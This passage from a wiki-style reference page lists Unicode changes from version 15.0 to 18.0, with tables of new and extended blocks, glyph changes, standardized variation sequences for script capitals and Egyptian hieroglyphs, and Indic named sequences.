|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
